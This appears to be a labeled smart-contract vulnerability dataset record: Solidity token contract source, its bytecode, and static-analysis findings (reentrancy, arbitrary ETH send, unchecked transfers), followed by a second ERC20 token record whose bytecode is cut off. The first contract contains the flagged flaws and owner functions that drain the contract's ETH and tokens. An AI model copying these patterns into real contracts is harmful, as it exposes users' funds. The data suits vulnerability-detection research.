require(!isWalletToWallet(sender, recipient), "Don't cheat"); _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(msg.sender, recipient, amountReceived); return true; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function isWalletToWallet(address sender, address recipient) internal view returns (bool) { if (isFeeExempt[sender] || isFeeExempt[recipient]) { return false; } if (sender == pair || recipient == pair) { return false; } return true; } function swapBack() internal lockTheSwap { //uint256 tokensToLiquify = _balances[address(this)]; uint256 tokensToLiquify = swapThreshold; uint256 amountToLiquify = tokensToLiquify .mul(liquidityFee) .div(totalFee) .div(2); uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHMarketing = amountETH.mul(marketingFee).div( totalETHFee ); uint256 amountETHRing = amountETH.mul(ringFee).div(totalETHFee); uint256 amountETHLiquidity = amountETH .mul(liquidityFee) .div(totalETHFee) .div(2); (bool tmpSuccess, ) = payable(marketingWallet).call{ value: amountETHMarketing, gas: 30000 }(""); (bool tmpSuccess2, ) = payable(Ring).call{ value: amountETHRing, gas: 30000 }(""); emit RingPayout(Ring, amountETHRing); // only to supress warning msg tmpSuccess = false; tmpSuccess2 = false; if (amountToLiquify > 0) { router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function recoverLosteth() external authorized { payable(msg.sender).transfer(address(this).balance); } function recoverLostTokens(address _token, uint256 _amount) external authorized { IERC20(_token).transfer(msg.sender, _amount); } }
0x60806040526004361061028c5760003560e01c80638eb6889f1161015a578063cec10c11116100c1578063ed14f20a1161007a578063ed14f20a1461091f578063f0b37c0414610952578063f2fde38b14610985578063f84ba65d146109b8578063f887ea40146109f3578063fe9fbb8014610a0857610293565b8063cec10c11146107e6578063d3b43dfc1461081c578063dd62ed3e1461084f578063dec2ba0f1461088a578063df20fd49146108c3578063ec28438a146108f557610293565b8063a4b45c0011610113578063a4b45c0014610700578063a8aa1b311461073b578063a9059cbb14610750578063b6a5d7de14610789578063ca33e64c146107bc578063ca987b0e146107d157610293565b80638eb6889f1461066d578063944c1d971461068257806395d89b411461069757806398118cb4146106ac5780639d0014b1146106c15780639f2bb2e9146106eb57610293565b80633f4218e0116101fe57806370a08231116101b757806370a0823114610582578063712a890a146105b557806375f0a874146105df57806387b3be7d14610610578063893d20e8146106255780638b42507f1461063a57610293565b80633f4218e0146104a257806346cf314f146104d55780634a74bb02146104ea578063571ac8b0146104ff578063658d4b7f146105325780636b67c4df1461056d57610293565b806323b872dd1161025057806323b872dd146103c05780632b112e49146104035780632f54bf6e14610418578063313ce5671461044b57806333596f50146104765780633e02a9881461048d57610293565b80630445b6671461029857806306fdde03146102bf578063095ea7b31461034957806318160ddd146103965780631df4ccfc146103ab57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610a3b565b60408051918252519081900360200190f35b3480156102cb57600080fd5b506102d4610a41565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561030e5781810151838201526020016102f6565b50505050905090810190601f16801561033b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035557600080fd5b506103826004803603604081101561036c57600080fd5b506001600160a01b038135169060200135610a65565b604080519115158252519081900360200190f35b3480156103a257600080fd5b506102ad610acc565b3480156103b757600080fd5b506102ad610ad2565b3480156103cc57600080fd5b50610382600480360360608110156103e357600080fd5b506001600160a01b03813581169160208101359091169060400135610ad8565b34801561040f57600080fd5b506102ad610b9d565b34801561042457600080fd5b506103826004803603602081101561043b57600080fd5b50356001600160a01b0316610be6565b34801561045757600080fd5b50610460610bfa565b6040805160ff9092168252519081900360200190f35b34801561048257600080fd5b5061048b610bff565b005b34801561049957600080fd5b506102ad610c76565b3480156104ae57600080fd5b50610382600480360360208110156104c557600080fd5b50356001600160a01b0316610c80565b3480156104e157600080fd5b506102ad610c95565b3480156104f657600080fd5b50610382610c9b565b34801561050b57600080fd5b506103826004803603602081101561052257600080fd5b50356001600160a01b0316610cab565b34801561053e57600080fd5b5061048b6004803603604081101561055557600080fd5b506001600160a01b0381351690602001351515610cb9565b34801561057957600080fd5b506102ad610d2c565b34801561058e57600080fd5b506102ad600480360360208110156105a557600080fd5b50356001600160a01b0316610d32565b3480156105c157600080fd5b5061048b600480360360208110156105d857600080fd5b5035610d4d565b3480156105eb57600080fd5b506105f4610d9a565b604080516001600160a01b039092168252519081900360200190f35b34801561061c57600080fd5b506105f4610da9565b34801561063157600080fd5b506105f4610db8565b34801561064657600080fd5b506103826004803603602081101561065d57600080fd5b50356001600160a01b0316610dc7565b34801561067957600080fd5b506102ad610ddc565b34801561068e57600080fd5b506102ad610de2565b3480156106a357600080fd5b506102d4610de8565b3480156106b857600080fd5b506102ad610e0b565b3480156106cd57600080fd5b5061048b600480360360208110156106e457600080fd5b5035610e11565b3480156106f757600080fd5b506102ad610e5e565b34801561070c57600080fd5b5061048b6004803603604081101561072357600080fd5b506001600160a01b0381358116916020013516610e64565b34801561074757600080fd5b506105f4610eda565b34801561075c57600080fd5b506103826004803603604081101561077357600080fd5b506001600160a01b038135169060200135610ee9565b34801561079557600080fd5b5061048b600480360360208110156107ac57600080fd5b50356001600160a01b0316610ef6565b3480156107c857600080fd5b506105f4610f60565b3480156107dd57600080fd5b506102ad610f6f565b3480156107f257600080fd5b5061048b6004803603606081101561080957600080fd5b5080359060208101359060400135610f75565b34801561082857600080fd5b5061048b6004803603602081101561083f57600080fd5b50356001600160a01b0316610fcb565b34801561085b57600080fd5b506102ad6004803603604081101561087257600080fd5b506001600160a01b038135811691602001351661108e565b34801561089657600080fd5b5061048b600480360360408110156108ad57600080fd5b506001600160a01b0381351690602001356110b9565b3480156108cf57600080fd5b5061048b600480360360408110156108e657600080fd5b50803515159060200135611180565b34801561090157600080fd5b5061048b6004803603602081101561091857600080fd5b50356111ea565b34801561092b57600080fd5b506103826004803603602081101561094257600080fd5b50356001600160a01b0316611237565b34801561095e57600080fd5b5061048b6004803603602081101561097557600080fd5b50356001600160a01b031661124c565b34801561099157600080fd5b5061048b600480360360208110156109a857600080fd5b50356001600160a01b03166112b0565b3480156109c457600080fd5b5061048b600480360360408110156109db57600080fd5b506001600160a01b0381351690602001351515611361565b3480156109ff57600080fd5b506105f46113d4565b348015610a1457600080fd5b5061038260048036036020811015610a2b57600080fd5b50356001600160a01b03166113e3565b601a5481565b60408051808201909152600a815269022bc31b0b634b13ab9160b51b602082015290565b336000818152600a602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b60115481565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205460001914610b85576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610b6091849061145b565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610b908484846114f2565b50600190505b9392505050565b600354600090610be190610bb9906001600160a01b0316610d32565b600254610bdb90610bd2906001600160a01b0316610d32565b600554906116fd565b906116fd565b905090565b6000546001600160a01b0390811691161490565b601290565b610c08336113e3565b610c47576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c73573d6000803e3d6000fd5b50565b6008546007540190565b600b6020526000908152604090205460ff1681565b60105481565b601754600160a81b900460ff1681565b6000610ac682600019610a65565b610cc2336113e3565b610d01576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600f5481565b6001600160a01b031660009081526009602052604090205490565b610d56336113e3565b610d95576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600855565b6014546001600160a01b031681565b6015546001600160a01b031681565b6000546001600160a01b031690565b600c6020526000908152604090205460ff1681565b60065481565b60085481565b60408051808201909152600981526822bc31b0b634b13ab960b91b602082015290565b600e5481565b610e1a336113e3565b610e59576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601a55565b60075481565b610e6d336113e3565b610eac576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601380546001600160a01b039384166001600160a01b03199182161790915560148054929093169116179055565b6017546001600160a01b031681565b6000610b963384846114f2565b610eff33610be6565b610f39576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6013546001600160a01b031681565b60125481565b610f7e336113e3565b610fbd576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600e92909255600f55601055565b610fd4336113e3565b611013576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b0381166000908152600960205260408082205430835291205461103d9082611401565b306000818152600960209081526040808320949094556001600160a01b0386168083528483209290925583518581529351929391926000805160206124e38339815191529281900390910190a35050565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6110c2336113e3565b611101576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b505050506040513d602081101561117a57600080fd5b50505050565b611189336113e3565b6111c8576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60178054921515600160a81b0260ff60a81b1990931692909217909155601a55565b6111f3336113e3565b611232576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601855565b600d6020526000908152604090205460ff1681565b61125533610be6565b61128f576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b6112b933610be6565b6112f3576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b61136a336113e3565b6113a9576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6016546001600160a01b031681565b6001600160a01b031660009081526001602052604090205460ff1690565b600082820183811015610b96576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156114ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114af578181015183820152602001611497565b50505050905090810190601f1680156114dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b601754600090600160a01b900460ff16156115195761151284848461173f565b9050610b96565b6017546001600160a01b0316331480159061153e5750601754600160a01b900460ff16155b80156115535750601754600160a81b900460ff165b80156115705750601a543060009081526009602052604090205410155b1561157d5761157d61180e565b611588848484611c96565b6115928484612239565b156115d2576040805162461bcd60e51b815260206004820152600b60248201526a111bdb89dd0818da19585d60aa1b604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152919091205461162491849061145b565b6001600160a01b038516600090815260096020908152604080832093909355600b90529081205460ff1615801561167457506001600160a01b0384166000908152600b602052604090205460ff16155b61167e5782611689565b6116898585856122c4565b6001600160a01b0385166000908152600960205260409020549091506116af9082611401565b6001600160a01b0385166000818152600960209081526040918290209390935580518481529051919233926000805160206124e38339815191529281900390910190a3506001949350505050565b6000610b9683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061145b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260099091529182205461179091849061145b565b6001600160a01b0380861660009081526009602052604080822093909355908516815220546117bf9083611401565b6001600160a01b0380851660008181526009602090815260409182902094909455805186815290519193928816926000805160206124e383398151915292918290030190a35060019392505050565b6017805460ff60a01b1916600160a01b179055601a54601154600e54600091611847916002916118419182908790612371565b906123ca565b9050600061185583836116fd565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061188757fe5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118db57600080fd5b505afa1580156118ef573d6000803e3d6000fd5b505050506040513d602081101561190557600080fd5b505181518290600190811061191657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601660009054906101000a90046001600160a01b03166001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156119d05781810151838201526020016119b8565b505050509050019650505050505050600060405180830381600087803b1580156119f957600080fd5b505af1158015611a0d573d6000803e3d6000fd5b5050600e5447925060009150611a3190611a289060026123ca565b601154906116fd565b90506000611a4e82611841600f548661237190919063ffffffff16565b90506000611a6b836118416010548761237190919063ffffffff16565b90506000611a8d600261184186611841600e548a61237190919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611ae4576040519150601f19603f3d011682016040523d82523d6000602084013e611ae9565b606091505b50506015546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611b42576040519150601f19603f3d011682016040523d82523d6000602084013e611b47565b606091505b5050601554604080516001600160a01b0390921682526020820187905280519293507f887dd9f57395c2e1e0dea455ae76bf56410b19b3131f2a590aab0b29b368363292918290030190a15060009050808915611c7c576016546013546040805163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991869160c48082019260609290919082900301818588803b158015611c1357600080fd5b505af1158015611c27573d6000803e3d6000fd5b50505050506040513d6060811015611c3e57600080fd5b505060408051848152602081018c905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b50506017805460ff60a01b19169055505050505050505050565b60085460075442031115611cac57611cac61240c565b6000546001600160a01b03848116911614801590611cd857506000546001600160a01b03838116911614155b8015611cfd57506001600160a01b0382166000908152600c602052604090205460ff16155b8015611d1757506003546001600160a01b03838116911614155b8015611d3157506002546001600160a01b03838116911614155b8015611d4b57506017546001600160a01b03838116911614155b8015611d6057506001600160a01b0382163014155b156120e257601854811115611da5576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6000611db083610d32565b90506019548282011115611df55760405162461bcd60e51b815260040180806020018281038252602381526020018061249f6023913960400191505060405180910390fd5b60408051600280825260608083018452926020830190803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015611e5957600080fd5b505afa158015611e6d573d6000803e3d6000fd5b505050506040513d6020811015611e8357600080fd5b505181518290600090611e9257fe5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611ec057fe5b6001600160a01b03928316602091820292909201810191909152601654604080516307c0329d60e21b815260048101888152602482019283528651604483015286516000969490941694631f00ca74948a948994909260649091019185820191028083838c5b83811015611f3e578181015183820152602001611f26565b50505050905001935050505060006040518083038186803b158015611f6257600080fd5b505afa158015611f76573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015611f9f57600080fd5b8101908080516040519392919084640100000000821115611fbf57600080fd5b908301906020820185811115611fd457600080fd5b8251866020820283011164010000000082111715611ff157600080fd5b82525081516020918201928201910280838360005b8381101561201e578181015183820152602001612006565b5050505090500160405250505060008151811061203757fe5b6020908102919091018101516001600160a01b0387166000908152600d90925260409091205490915060ff16158015612071575060065481115b156120de57601580546001600160a01b0319166001600160a01b038781169190911791829055600683905542600755604080519290911682526020820183905280517f735208e3a5b6390fd1d199ec98f6689564f9d7fef06323849704a8856eeed5f49281900390910190a15b5050505b6000546001600160a01b0384811691161480159061210e57506000546001600160a01b03838116911614155b801561213357506001600160a01b0383166000908152600c602052604090205460ff16155b801561214d57506017546001600160a01b03848116911614155b801561216257506001600160a01b0382163014155b15612234576018548111156121a7576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6015546001600160a01b038481169116141561221057601554600654604080516001600160a01b039093168352602083019190915280517fec798f0f5328ec01f1d48922c12f488ecde2dae7402c814510a37d505cbdbb2a9281900390910190a161221061240c565b6001600160a01b0383166000908152600d60205260409020805460ff191660011790555b505050565b6001600160a01b0382166000908152600b602052604081205460ff168061227857506001600160a01b0382166000908152600b602052604090205460ff165b1561228557506000610ac6565b6017546001600160a01b03848116911614806122ae57506017546001600160a01b038381169116145b156122bb57506000610ac6565b50600192915050565b60175460009081906001600160a01b038581169116146122e6576011546122ea565b6012545b905060006122fd60646118418685612371565b3060009081526009602052604090205490915061231a9082611401565b30600081815260096020908152604091829020939093558051848152905191926001600160a01b038a16926000805160206124e38339815191529281900390910190a361236784826116fd565b9695505050505050565b60008261238057506000610ac6565b8282028284828161238d57fe5b0414610b965760405162461bcd60e51b81526004018080602001828103825260218152602001806124c26021913960400191505060405180910390fd5b6000610b9683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612439565b601454601580546001600160a01b0319166001600160a01b03909216919091179055600060065542600755565b600081836124885760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114af578181015183820152602001611497565b50600083858161249457fe5b049594505050505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a64f5f22d0bb212ca847248117cea3281f6e290d3ca35b5bceb9c7e347d2647564736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,328
0x0e0ea41529c06898e5f92ed2ef1cf39814cdd953
/** *Submitted for verification at Etherscan.io on 2021-03-05 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // '7 Stars' token contract // // Symbol : STAR // Name : 7 Stars // Total supply: 500 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract STAR is BurnableToken { string public constant name = "7 Stars"; string public constant symbol = "STAR"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 500000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600781526020017f372053746172730000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a631dcd65000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205